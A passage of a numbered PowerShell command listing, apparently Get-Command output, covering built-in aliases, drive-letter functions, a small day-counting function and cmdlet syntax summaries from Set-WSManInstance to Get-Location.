  71. Alias           ise                                                 powershell_ise.exe                                   
  72. Alias           iwmi                                                Invoke-WMIMethod                                     
  73. Alias           ipmo                                                Import-Module                                        
  74. Alias           ipsn                                                Import-PSSession                                     
  75. Alias           rdr                                                 Remove-PSDrive                                       
  76. Alias           cls                                                 Clear-Host                                           
  77. Alias           clp                                                 Clear-ItemProperty                                   
  78. Alias           compare                                             Compare-Object                                       
  79. Alias           clv                                                 Clear-Variable                                       
  80. Alias           sp                                                  Set-ItemProperty                                     
  81. Alias           spjb                                                Stop-Job                                             
  82. Alias           cli                                                 Clear-Item                                           
  83. Alias           clhy                                                Clear-History                                        
  84. Alias           %                                                   ForEach-Object                                       
  85. Alias           select                                              Select-Object                                        
  86. Alias           set                                                 Set-Variable                                         
  87. Alias           sbp                                                 Set-PSBreakpoint                                     
  88. Alias           sc                                                  Set-Content                                          
  89. Alias           sleep                                               Start-Sleep                                          
  90. Alias           sort                                                Sort-Object                                          
  91. Alias           si                                                  Set-Item                                             
  92. Alias           sl                                                  Set-Location                                         
  93. Alias           spps                                                Stop-Process                                         
  94. Alias           asnp                                                Add-PSSnapIn                                         
  95. Alias           where                                               Where-Object                                         
  96. Alias           cat                                                 Get-Content                                          
  97. Alias           type                                                Get-Content                                          
  98. Alias           ac                                                  Add-Content                                          
  99. Alias           ?                                                   Where-Object                                         
  100. Alias           wjb                                                 Wait-Job                                             
  101. Alias           write                                               Write-Output                                         
  102. Alias           cd                                                  Set-Location                                         
  103. Alias           sv                                                  Set-Variable                                         
  104. Alias           swmi                                                Set-WMIInstance                                      
  105. Alias           spsv                                                Stop-Service                                         
  106. Alias           start                                               Start-Process                                        
  107. Alias           chdir                                               Set-Location                                         
  108. Alias           tee                                                 Tee-Object                                           
  109. Alias           clear                                               Clear-Host                                           
  110. Alias           clc                                                 Clear-Content                                        
  111. Alias           diff                                                Compare-Object                                       
  112. Alias           del                                                 Remove-Item                                          
  113. Alias           rv                                                  Remove-Variable                                      
  114. Alias           dir                                                 Get-ChildItem                                        
  115. Alias           rjb                                                 Remove-Job                                           
  116. Alias           rvpa                                                Resolve-Path                                         
  117. Alias           rmdir                                               Remove-Item                                          
  118. Alias           rm                                                  Remove-Item                                          
  119. Alias           ebp                                                 Enable-PSBreakpoint                                  
  120. Alias           rnp                                                 Rename-ItemProperty                                  
  121. Alias           rni                                                 Rename-Item                                          
  122. Alias           rmo                                                 Remove-Module                                        
  123. Alias           rsnp                                                Remove-PSSnapin                                      
  124. Alias           echo                                                Write-Output                                         
  125. Alias           rp                                                  Remove-ItemProperty                                  
  126. Alias           rsn                                                 Remove-PSSession                                     
  127. Alias           cpi                                                 Copy-Item                                            
  128. Alias           cpp                                                 Copy-ItemProperty                                    
  129. Alias           copy                                                Copy-Item                                            
  130. Alias           saps                                                Start-Process                                        
  131. Alias           sal                                                 Set-Alias                                            
  132. Alias           sajb                                                Start-Job                                            
  133. Alias           ren                                                 Rename-Item                                          
  134. Alias           ri                                                  Remove-Item                                          
  135. Alias           dbp                                                 Disable-PSBreakpoint                                 
  136. Alias           cp                                                  Copy-Item                                            
  137. Alias           rwmi                                                Remove-WMIObject                                     
  138. Alias           sasv                                                Start-Service                                        
  139. Alias           cvpa                                                Convert-Path                                         
  140. Function        R:                                                  Set-Location R:                                      
  141. Function        H:                                                  Set-Location H:                                      
  142. Function        Y:                                                  Set-Location Y:                                      
  143. Function        V:                                                  Set-Location V:                                      
  144. Function        W:                                                  Set-Location W:                                      
  145. Function        more                                                param([string[]]$paths)...                           
  146. Function        U:                                                  Set-Location U:                                      
  147. Function        X:                                                  Set-Location X:                                      
  148. Function        P:                                                  Set-Location P:                                      
  149. Function        M:                                                  Set-Location M:                                      
  150. Function        L:                                                  Set-Location L:                                      
  151. Function        Z:                                                  Set-Location Z:                                      
  152. Function        S:                                                  Set-Location S:                                      
  153. Function        N:                                                  Set-Location N:                                      
  154. Function        O:                                                  Set-Location O:                                      
  155. Function        mkdir                                               ...                                                  
  156. Function        K:                                                  Set-Location K:                                      
  157. Function        I:                                                  Set-Location I:                                      
  158. Function        Q:                                                  Set-Location Q:                                      
  159. Function        help                                                ...                                                  
  160. Function        TabExpansion                                        ...                                                  
  161. Function        prompt                                              $(if (test-path variable:/PSDebugContext) { '[DBG]: ' } else { '' }) + 'PS ' + $(Get-Location) + $(if ($nestedpromptlevel -ge 1) { '>>' })...  
  162. Function        J:                                                  Set-Location J:                                      
  163. Function        T:                                                  Set-Location T:                                      
  164. Function        ImportSystemModules                                 ...                                                  
  165. Function        Disable-PSRemoting                                  ...                                                  
  166. Function        G:                                                  Set-Location G:                                      
  167. Function        cd..                                                Set-Location ..                                      
  168. Function        Clear-Host                                          $space = New-Object System.Management.Automation.Host.BufferCell...                                                                            
  169. Function        get-daybeijinday                                    ([datetime] "2008-08-08" - [datetime]::now).days;    
  170. Function        F:                                                  Set-Location F:                                      
  171. Function        cd\                                                 Set-Location \                                       
  172. Function        C:                                                  Set-Location C:                                      
  173. Function        D:                                                  Set-Location D:                                      
  174. Function        B:                                                  Set-Location B:                                      
  175. Function        E:                                                  Set-Location E:                                      
  176. Function        A:                                                  Set-Location A:                                      
  177. Function        Get-Verb                                            ...                                                  
  178. Cmdlet          Set-WSManInstance                                   Set-WSManInstance [-ResourceURI] <Uri> [[-SelectorSet] <Hashtable>] [-ApplicationName <String>] [-ComputerName <String>] [-Dialect <Uri>] ...  
  179. Cmdlet          Set-Variable                                        Set-Variable [-Name] <String[]> [[-Value] <Object>] [-Include <String[]>] [-Exclude <String[]>] [-Description <String>] [-Option <ScopedIt...  
  180. Cmdlet          Set-WmiInstance                                     Set-WmiInstance [-Class] <String> [[-Arguments] <Hashtable>] [-PutType <PutType>] [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authent...  
  181. Cmdlet          Set-Acl                                             Set-Acl [-Path] <String[]> [-AclObject] <ObjectSecurity> [-Passthru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Verb...  
  182. Cmdlet          ConvertFrom-SecureString                            ConvertFrom-SecureString [-SecureString] <SecureString> [[-SecureKey] <SecureString>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...  
  183. Cmdlet          Send-MailMessage                                    Send-MailMessage [-To] <String[]> [-Subject] <String> [[-Body] <String>] [[-SmtpServer] <String>] [-Attachments <String[]>] [-Bcc <String[...  
  184. Cmdlet          ConvertFrom-StringData                              ConvertFrom-StringData [-StringData] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-...  
  185. Cmdlet          Set-WSManQuickConfig                                Set-WSManQuickConfig [-UseSSL] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...  
  186. Cmdlet          Select-Object                                       Select-Object [[-Property] <Object[]>] [-InputObject <PSObject>] [-ExcludeProperty <String[]>] [-ExpandProperty <String>] [-Unique] [-Last...  
  187. Cmdlet          Select-Xml                                          Select-Xml [-XPath] <String> [-Xml] <XmlNode[]> [-Namespace <Hashtable>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...  
  188. Cmdlet          Select-String                                       Select-String [-Pattern] <String[]> -InputObject <PSObject> [-SimpleMatch] [-CaseSensitive] [-Quiet] [-List] [-Include <String[]>] [-Exclu...  
  189. Cmdlet          Set-Alias                                           Set-Alias [-Name] <String> [-Value] <String> [-Description <String>] [-Option <ScopedItemOptions>] [-PassThru] [-Scope <String>] [-Force] ...  
  190. Cmdlet          Set-ItemProperty                                    Set-ItemProperty [-Path] <String[]> [-Name] <String> [-Value] <Object> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-Exc...  
  191. Cmdlet          Set-Service                                         Set-Service [-Name] <String> [-ComputerName <String[]>] [-DisplayName <String>] [-Description <String>] [-StartupType <ServiceStartMode>] ...  
  192. Cmdlet          Set-Item                                            Set-Item [-Path] <String[]> [[-Value] <Object>] [-Force] [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Cred...  
  193. Cmdlet          Set-PSBreakpoint                                    Set-PSBreakpoint [-Script] <String[]> [-Line] <Int32[]> [[-Column] <Int32>] [-Action <ScriptBlock>] [-Verbose] [-Debug] [-ErrorAction <Act...  
  194. Cmdlet          Set-PSSessionConfiguration                          Set-PSSessionConfiguration [-Name] <String> [-ApplicationBase <String>] [-ThreadApartmentState <ApartmentState>] [-ThreadOptions <PSThread...  
  195. Cmdlet          Set-Location                                        Set-Location [[-Path] <String>] [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...  
  196. Cmdlet          Set-ExecutionPolicy                                 Set-ExecutionPolicy [-ExecutionPolicy] <ExecutionPolicy> [[-Scope] <ExecutionPolicyScope>] [-Force] [-Verbose] [-Debug] [-ErrorAction <Act...  
  197. Cmdlet          Set-AuthenticodeSignature                           Set-AuthenticodeSignature [-FilePath] <String[]> [-Certificate] <X509Certificate2> [-IncludeChain <String>] [-TimestampServer <String>] [-...  
  198. Cmdlet          Set-TraceSource                                     Set-TraceSource [-Name] <String[]> [[-Option] <PSTraceSourceOptions>] [-ListenerOption <TraceOptions>] [-FilePath <String>] [-Force] [-Deb...  
  199. Cmdlet          Set-PSDebug                                         Set-PSDebug [-Trace <Int32>] [-Step] [-Strict] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...  
  200. Cmdlet          Set-StrictMode                                      Set-StrictMode -Version <Version> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...  
  201. Cmdlet          Set-Date                                            Set-Date [-Date] <DateTime> [-DisplayHint <DisplayHintType>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...  
  202. Cmdlet          Set-Content                                         Set-Content [-Path] <String[]> [-Value] <Object[]> [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-C...  
  203. Cmdlet          Restart-Service                                     Restart-Service [-Name] <String[]> [-Force] [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <Act...  
  204. Cmdlet          Restart-Computer                                    Restart-Computer [[-ComputerName] <String[]>] [[-Credential] <PSCredential>] [-AsJob] [-Authentication <AuthenticationLevel>] [-Force] [-I...  
  205. Cmdlet          Resolve-Path                                        Resolve-Path [-Path] <String[]> [-Relative] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAc...  
  206. Cmdlet          Restore-Computer                                    Restore-Computer [-RestorePoint] <Int32> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...  
  207. Cmdlet          Enable-PSRemoting                                   Enable-PSRemoting [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <Stri...  
  208. Cmdlet          Enable-PSSessionConfiguration                       Enable-PSSessionConfiguration [[-Name] <String[]>] [-Force] [-SecurityDescriptorSddl <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPr...  
  209. Cmdlet          Resume-Service                                      Resume-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefere...  
  210. Cmdlet          Remove-WSManInstance                                Remove-WSManInstance [-ResourceURI] <Uri> [-SelectorSet] <Hashtable> [-ApplicationName <String>] [-ComputerName <String>] [-OptionSet <Has...  
  211. Cmdlet          Remove-WmiObject                                    Remove-WmiObject [-Class] <String> [-AsJob] [-Impersonation <ImpersonationLevel>] [-Authentication <AuthenticationLevel>] [-Locale <String...  
  212. Cmdlet          Remove-Variable                                     Remove-Variable [-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Scope <String>] [-Verbose] [-Debug] [-ErrorActio...  
  213. Cmdlet          Enable-WSManCredSSP                                 Enable-WSManCredSSP [-Role] <String> [[-DelegateComputer] <String[]>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-War...  
  214. Cmdlet          Reset-ComputerMachinePassword                       Reset-ComputerMachinePassword [-Server <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  215. Cmdlet          Rename-ItemProperty                                 Rename-ItemProperty [-Path] <String> [-Name] <String> [-NewName] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-...  
  216. Cmdlet          Rename-Item                                         Rename-Item [-Path] <String> [-NewName] <String> [-Force] [-PassThru] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <Acti...  
  217. Cmdlet          Enable-PSBreakpoint                                 Enable-PSBreakpoint [-Id] <Int32[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] ...  
  218. Cmdlet          ConvertTo-Xml                                       ConvertTo-Xml [-InputObject] <PSObject> [-Depth <Int32>] [-NoTypeInformation] [-As <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPref...  
  219. Cmdlet          Copy-Item                                           Copy-Item [-Path] <String[]> [[-Destination] <String>] [-Container] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>...  
  220. Cmdlet          Copy-ItemProperty                                   Copy-ItemProperty [-Path] <String[]> [-Destination] <String> [-Name] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>...  
  221. Cmdlet          ConvertTo-SecureString                              ConvertTo-SecureString [-String] <String> [[-SecureKey] <SecureString>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAct...  
  222. Cmdlet          Convert-Path                                        Convert-Path [-Path] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...  
  223. Cmdlet          ConvertTo-Csv                                       ConvertTo-Csv [-InputObject] <PSObject> [[-Delimiter] <Char>] [-NoTypeInformation] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [...  
  224. Cmdlet          ConvertTo-Html                                      ConvertTo-Html [[-Property] <Object[]>] [[-Head] <String[]>] [[-Title] <String>] [[-Body] <String[]>] [-InputObject <PSObject>] [-As <Stri...  
  225. Cmdlet          Disable-WSManCredSSP                                Disable-WSManCredSSP [-Role] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVar...  
  226. Cmdlet          Disconnect-WSMan                                    Disconnect-WSMan [[-ComputerName] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...  
  227. Cmdlet          Enable-ComputerRestore                              Enable-ComputerRestore [-Drive] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Err...  
  228. Cmdlet          Disable-PSSessionConfiguration                      Disable-PSSessionConfiguration [[-Name] <String[]>] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...  
  229. Cmdlet          Debug-Process                                       Debug-Process [-Name] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable...  
  230. Cmdlet          Disable-ComputerRestore                             Disable-ComputerRestore [-Drive] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...  
  231. Cmdlet          Disable-PSBreakpoint                                Disable-PSBreakpoint [-Breakpoint] <Breakpoint[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Actio...  
  232. Cmdlet          Use-Transaction                                     Use-Transaction [-TransactedScript] <ScriptBlock> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>...  
  233. Cmdlet          Update-TypeData                                     Update-TypeData [[-AppendPath] <String[]>] [-PrependPath <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...  
  234. Cmdlet          Update-List                                         Update-List [[-Property] <String>] [-Add <Object[]>] [-Remove <Object[]>] [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <Act...  
  235. Cmdlet          Add-Type                                            Add-Type [-TypeDefinition] <String> [-Language <Language>] [-ReferencedAssemblies <String[]>] [-CodeDomProvider <CodeDomProvider>] [-Compi...  
  236. Cmdlet          Wait-Job                                            Wait-Job [-Id] <Int32[]> [-Any] [-Timeout <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference...  
  237. Cmdlet          Wait-Event                                          Wait-Event [[-SourceIdentifier] <String>] [-Timeout <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...  
  238. Cmdlet          Add-PSSnapin                                        Add-PSSnapin [-Name] <String[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Er...  
  239. Cmdlet          Trace-Command                                       Trace-Command [-Name] <String[]> [-Expression] <ScriptBlock> [[-Option] <PSTraceSourceOptions>] [-InputObject <PSObject>] [-ListenerOption...  
  240. Cmdlet          Test-WSMan                                          Test-WSMan [[-ComputerName] <String>] [-Authentication <AuthenticationMechanism>] [-Port <Int32>] [-UseSSL] [-ApplicationName <String>] [-...  
  241. Cmdlet          Test-Path                                           Test-Path [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-PathType <TestPathType>] [-IsValid] [-Creden...  
  242. Cmdlet          Undo-Transaction                                    Undo-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-War...  
  243. Cmdlet          Update-FormatData                                   Update-FormatData [[-AppendPath] <String[]>] [-PrependPath <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningActi...  
  244. Cmdlet          Unregister-PSSessionConfiguration                   Unregister-PSSessionConfiguration [-Name] <String> [-Force] [-NoServiceRestart] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Wa...  
  245. Cmdlet          Unregister-Event                                    Unregister-Event [-SourceIdentifier] <String> [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefer...  
  246. Cmdlet          Wait-Process                                        Wait-Process [-Name] <String[]> [[-Timeout] <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreferen...  
  247. Cmdlet          Write-Progress                                      Write-Progress [-Activity] <String> [-Status] <String> [[-Id] <Int32>] [-PercentComplete <Int32>] [-SecondsRemaining <Int32>] [-CurrentOpe...  
  248. Cmdlet          Write-Output                                        Write-Output [-InputObject] <PSObject[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...  
  249. Cmdlet          Write-Host                                          Write-Host [[-Object] <Object>] [-NoNewline] [-Separator <Object>] [-ForegroundColor <ConsoleColor>] [-BackgroundColor <ConsoleColor>] [-V...  
  250. Cmdlet          Write-Verbose                                       Write-Verbose [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...  
  251. Cmdlet          Limit-EventLog                                      Limit-EventLog [-LogName] <String[]> [-ComputerName <String[]>] [-RetentionDays <Int32>] [-OverflowAction <OverflowAction>] [-MaximumSize ...  
  252. Cmdlet          Add-Computer                                        Add-Computer [-DomainName] <String> [-Credential <PSCredential>] [-OUPath <String>] [-PassThru] [-Server <String>] [-UnSecure] [-Verbose] ...  
  253. Cmdlet          Write-Warning                                       Write-Warning [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariabl...  
  254. Cmdlet          Add-History                                         Add-History [[-InputObject] <PSObject[]>] [-Passthru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefere...  
  255. Cmdlet          Where-Object                                        Where-Object [-FilterScript] <ScriptBlock> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction...  
  256. Cmdlet          Add-Member                                          Add-Member [-MemberType] <PSMemberTypes> [-Name] <String> [[-Value] <Object>] [[-SecondValue] <Object>] -InputObject <PSObject> [-Force] [...  
  257. Cmdlet          Add-Content                                         Add-Content [-Path] <String[]> [-Value] <Object[]> [-PassThru] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-C...  
  258. Cmdlet          Write-EventLog                                      Write-EventLog [-LogName] <String> [-Source] <String> [-EventId] <Int32> [[-EntryType] <EventLogEntryType>] [-Message] <String> [-Category...  
  259. Cmdlet          Write-Error                                         Write-Error [-Message] <String> [-Category <ErrorCategory>] [-ErrorId <String>] [-TargetObject <Object>] [-RecommendedAction <String>] [-C...  
  260. Cmdlet          Write-Debug                                         Write-Debug [-Message] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable ...  
  261. Cmdlet          Test-ModuleManifest                                 Test-ModuleManifest [-Path] <String> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...  
  262. Cmdlet          Clear-Item                                          Clear-Item [-Path] <String[]> [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCredential>] [-Verbo...  
  263. Cmdlet          Split-Path                                          Split-Path [-Path] <String[]> [-LiteralPath <String[]>] [-Parent] [-Resolve] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorActio...  
  264. Cmdlet          Clear-ItemProperty                                  Clear-ItemProperty [-Path] <String[]> [-Name] <String> [-PassThru] [-Force] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>]...  
  265. Cmdlet          Clear-History                                       Clear-History [[-Id] <Int32[]>] [[-Count] <Int32>] [-Newest] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <Action...  
  266. Cmdlet          Start-Service                                       Start-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreferen...  
  267. Cmdlet          Start-Process                                       Start-Process [-FilePath] <String> [[-ArgumentList] <String[]>] [-Credential <PSCredential>] [-WorkingDirectory <String>] [-LoadUserProfil...  
  268. Cmdlet          Start-Job                                           Start-Job [-ScriptBlock] <ScriptBlock> [[-InitializationScript] <ScriptBlock>] [-Name <String>] [-Credential <PSCredential>] [-Authenticat...  
  269. Cmdlet          Connect-WSMan                                       Connect-WSMan [[-ComputerName] <String>] [-ApplicationName <String>] [-OptionSet <Hashtable>] [-Port <Int32>] [-SessionOption <SessionOpti...  
  270. Cmdlet          ConvertFrom-Csv                                     ConvertFrom-Csv [-InputObject] <PSObject[]> [[-Delimiter] <Char>] [-Header <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference...  
  271. Cmdlet          Show-EventLog                                       Show-EventLog [[-ComputerName] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Error...  
  272. Cmdlet          Complete-Transaction                                Complete-Transaction [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [...  
  273. Cmdlet          Clear-Variable                                      Clear-Variable [-Name] <String[]> [-Include <String[]>] [-Exclude <String[]>] [-Force] [-PassThru] [-Scope <String>] [-Verbose] [-Debug] [...  
  274. Cmdlet          Sort-Object                                         Sort-Object [[-Property] <Object[]>] [-Descending] [-Unique] [-InputObject <PSObject>] [-Culture <String>] [-CaseSensitive] [-Verbose] [-D...  
  275. Cmdlet          Compare-Object                                      Compare-Object [-ReferenceObject] <PSObject[]> [-DifferenceObject] <PSObject[]> [-SyncWindow <Int32>] [-Property <Object[]>] [-ExcludeDiff...  
  276. Cmdlet          Start-Sleep                                         Start-Sleep [-Seconds] <Int32> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <...  
  277. Cmdlet          Clear-Content                                       Clear-Content [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Credential <PSCredential>] [-Ve...  
  278. Cmdlet          Clear-EventLog                                      Clear-EventLog [-LogName] <String[]> [[-ComputerName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <A...  
  279. Cmdlet          Suspend-Service                                     Suspend-Service [-Name] <String[]> [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefer...  
  280. Cmdlet          Checkpoint-Computer                                 Checkpoint-Computer [-Description] <String> [[-RestorePointType] <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-Warning...  
  281. Cmdlet          Test-Connection                                     Test-Connection [-ComputerName] <String[]> [[-Source] <String[]>] [-AsJob] [-Authentication <AuthenticationLevel>] [-BufferSize <Int32>] [...  
  282. Cmdlet          Test-ComputerSecureChannel                          Test-ComputerSecureChannel [-Repair] [-Server <String>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPrefe...  
  283. Cmdlet          Tee-Object                                          Tee-Object [-FilePath] <String> [-InputObject <PSObject>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPre...  
  284. Cmdlet          Stop-Computer                                       Stop-Computer [[-ComputerName] <String[]>] [[-Credential] <PSCredential>] [-AsJob] [-Authentication <AuthenticationLevel>] [-Impersonation...  
  285. Cmdlet          Start-Transcript                                    Start-Transcript [[-Path] <String>] [-Append] [-Force] [-NoClobber] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction ...  
  286. Cmdlet          Start-Transaction                                   Start-Transaction [-Timeout <Int32>] [-Independent] [-RollbackPreference <RollbackSeverity>] [-Verbose] [-Debug] [-ErrorAction <ActionPref...  
  287. Cmdlet          Stop-Job                                            Stop-Job [-Id] <Int32[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVari...  
  288. Cmdlet          Stop-Transcript                                     Stop-Transcript [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-Warn...  
  289. Cmdlet          Stop-Service                                        Stop-Service [-Name] <String[]> [-Force] [-PassThru] [-Include <String[]>] [-Exclude <String[]>] [-Verbose] [-Debug] [-ErrorAction <Action...  
  290. Cmdlet          Stop-Process                                        Stop-Process [-Id] <Int32[]> [-PassThru] [-Force] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>...  
  291. Cmdlet          Remove-PSSnapin                                     Remove-PSSnapin [-Name] <String[]> [-PassThru] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [...  
  292. Cmdlet          Get-HotFix                                          Get-HotFix [[-Id] <String[]>] [-ComputerName <String[]>] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>...  
  293. Cmdlet          Get-Item                                            Get-Item [-Path] <String[]> [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Force] [-Credential <PSCredential>] [-Verbose...  
  294. Cmdlet          Get-ItemProperty                                    Get-ItemProperty [-Path] <String[]> [[-Name] <String[]>] [-Filter <String>] [-Include <String[]>] [-Exclude <String[]>] [-Credential <PSCr...  
  295. Cmdlet          Get-Host                                            Get-Host [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <String>] [-WarningVari...  
  296. Cmdlet          Get-FormatData                                      Get-FormatData [[-TypeName] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...  
  297. Cmdlet          Get-Help                                            Get-Help [[-Name] <String>] [-Path <String>] [-Category <String[]>] [-Component <String[]>] [-Functionality <String[]>] [-Role <String[]>]...  
  298. Cmdlet          Get-History                                         Get-History [[-Id] <Int64[]>] [[-Count] <Int32>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>]...  
  299. Cmdlet          Join-Path                                           Join-Path [-Path] <String[]> [-ChildPath] <String> [-Resolve] [-Credential <PSCredential>] [-Verbose] [-Debug] [-ErrorAction <ActionPrefer...  
  300. Cmdlet          Get-PfxCertificate                                  Get-PfxCertificate [-FilePath] <String[]> [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-Erro...  
  301. Cmdlet          Get-Process                                         Get-Process [[-Name] <String[]>] [-ComputerName <String[]>] [-Module] [-FileVersionInfo] [-Verbose] [-Debug] [-ErrorAction <ActionPreferen...  
  302. Cmdlet          Get-PSBreakpoint                                    Get-PSBreakpoint [[-Script] <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorV...  
  303. Cmdlet          Get-Module                                          Get-Module [[-Name] <String[]>] [-All] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVa...  
  304. Cmdlet          Get-Job                                             Get-Job [[-Id] <Int32[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionPreference>] [-ErrorVariable <Strin...  
  305. Cmdlet          Get-Location                                        Get-Location [-PSProvider <String[]>] [-PSDrive <String[]>] [-Verbose] [-Debug] [-ErrorAction <ActionPreference>] [-WarningAction <ActionP...  
